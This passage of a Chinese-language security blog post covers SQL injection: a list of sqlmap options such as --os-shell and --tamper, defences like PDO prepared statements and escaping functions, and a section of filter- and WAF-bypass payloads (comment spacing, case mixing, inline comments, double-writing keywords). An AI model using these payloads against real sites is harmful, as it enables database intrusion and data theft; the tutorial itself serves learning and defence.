–forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
–tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
–risk 风险等级,默认风险等级为1,此等级在大多数情况下对测试目标无害。 风险等级2添加了基于时间的注入测试,等级3添加了OR测试
–identify-waf 检测防火墙类型
–param-del=“分割符” 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程
–delay 延时
–safe-url  web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面
–level level有5个等级,默认等级为1,进行Cookie测试时使用–level 2 ,进行use-agent或refer测试时使用–level 3 ,进行 host 测试时使用–level 5
–tamper ["脚本名称"]  脚本在tamper目录下面,调用多个脚本用逗号隔开

0x06-SQL注入防御


01-预编译

防御SQL注入的最佳方式就是使用预编译语句,绑定变量,预编译可以提高数据库效率,减少编译次数和连接次数

预先编译好,固定SQL语句的语法结构,就是说SQL语句是固定的形式不会更改。不管用户输入什么,只会当做字符串字面值参数输入,不可能对固定的SQL语句语法结构进行更改。

下面例子获取数据基于键值已提供的形式。用户的输入被自动用引号括起来,因此不会有 SQL 注入攻击的危险。引用

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
  print_r($row);
}
?>
02-检查数据类型

对数字型注入有极好的防护,在强语言Java、C#中几乎可以忽略数字型注入,因为它们需要声明参数类型。在弱语言PHP、ASP中,并没有强调要求处理数据类型,它们会自动判断数据类型,极有可能造成SQL注入。

数据格式和类型检查也是必要的,比如在输入邮箱时,就严格按照邮箱格式进行筛选。这种筛选对于输入长文本不合适,长文本包含的内容太多。

03-过滤危险字符

正则表达式匹配危险字符,列如:union、sleep、load_file等关键字,如果匹配到,则退出程序。

04-使用安全函数

在接收用户输入时添加安全函数

PHP安全函数举例

addslashes

addslashes 返回字符串,该字符串为了数据库查询语句等的需要在某些特殊字符前加上了反斜线。这些特殊字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

htmlspecialchars把HTML中的几个特殊字符转义成HTML Entity(可以预防XSS)

& (AND) => &amp;” (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候)‘ (单引号) => &#039; (当ENT_QUOTES设置)< (小于号) => &lt;> (大于号) => &gt;   

mysql_real_escape_string会 调用MySQL的库函数mysql_real_escape_string,对(\x00), (\n), (\r), (), (‘), (\x1a)进行转义,即在前面添加反斜杠(),预防SQL注入。

0x07-SQL bypass


01-绕过空格\引号\逗号\比较符号\注释符号\等于号

绕过空格,在注入时空格不能使用,绕过

注释符绕过空格,注释符/**/代替空格
select/**/user,passwd/**/from/**/usrs; 
采用括号代替空格,时间盲注用的多
sleep(ascii(mid(database()from(1)for(1)))=109)
%a0代替空格

绕过引号

十六进制绕过
select group_concat(table_name) from information_schema.tables where table_schema='security';

select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720

绕过逗号

from for绕过
select substr(database(),1,1);
select substr(database() from 1 for 1);
offset绕过
select * from users limit 0,1;
select * from users limit 0 offset 1;

绕过比较符号< >,使用函数greatest()、least(),greatest()返回最大值,least()返回最小值

select * from usrs where id=1 and ascii(substr(database(),0,1))>64;
select * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

绕过注释符号-注释符的作用是达到闭合的效果,使用代码闭合符号代替注释符,如"

等于号=绕过使用like 、rlike 、regexp

02-绕过关键字

如:union、select、where

使用注释符绕过

常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emils wh/**/ere limit 0,1;

使用大小写绕过

select * from users UnIon select passwd from emils WheRe limit 0,1;

使用内联注释绕过

select * from users /*!union*/ select passwd from emils /*!where*/ limit 0,1;

双写绕过

select * from users unUnionion select passwd from emils where limit 0,1;

绕过姿势千千万,需要实战来积累经验

0x08-SQL Bypass WAF(未完成)


绕WAF还得直接看WAF的规则,构造payload突破WAF规则。灵活的绕过WAF需要对SQL注入有深的了解,本人不行。

上面的0x07的bypass可能会绕过WAF。

绕WAF常用的方法有垃圾参数、分块传输、组合绕过。

等本人对SQL注入有深的了解,再来补充这一部分内容。

0x09-参考


百度

《Web安全攻防:渗透测试实战指南》

《Web安全深度剖析》

《白帽子讲WEB安全》

posted @ 2022-02-13 21:06  美式加糖  阅读(8685)  评论(2编辑  收藏  举报